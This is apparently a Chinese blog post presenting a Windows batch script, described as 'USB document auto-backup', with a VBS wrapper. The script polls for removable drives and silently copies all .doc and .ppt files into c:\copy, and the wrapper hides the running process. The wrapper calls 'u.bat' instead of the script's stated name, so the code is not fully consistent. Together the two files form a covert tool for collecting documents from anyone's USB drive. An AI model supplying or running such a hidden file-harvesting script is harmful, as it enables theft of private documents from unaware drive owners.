U盘文档自动备份

检测到插入U盘即复制其中doc、ppt文件到指定目录

(ucopy.bat)：

@echo off

:again

del /Q /f "%temp%\copy.tmp" >nul 2>nul

for %%i in (d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do @fsutil fsinfo drivetype %%i: >>"%temp%\copy.tmp"

findstr /i "可移动驱动器" "%temp%\copy.tmp"

if errorlevel==1 goto end

if errorlevel==0 goto copy

:end

echo 不存在

ping 127.0.0.1 -n 20 >nul 2>nul

goto again

:copy

if exist c:\copy goto goon

cd\

cd /d c:

md copy

:goon

for /f "tokens=1" %%i in ('findstr /i "可移动驱动器" "%temp%\copy.tmp"') do (

for /f "tokens=*" %%j in ('dir/s/b %%i\*.ppt %%i\*.doc?') do (

copy %%j c:\copy /y))

ping 127.0.0.1 -n 20 >nul 2>nul

goto again

隐藏bat进程

(ucopy.vbs)

set ws=WScript.CreateObject("WScript.Shell")

ws.Run "u.bat",0

巴特西

U盘文档自动备份

检测到插入U盘即复制其中doc、ppt文件到指定目录

隐藏bat进程

执行ucopy.vbs

最新文章

热门文章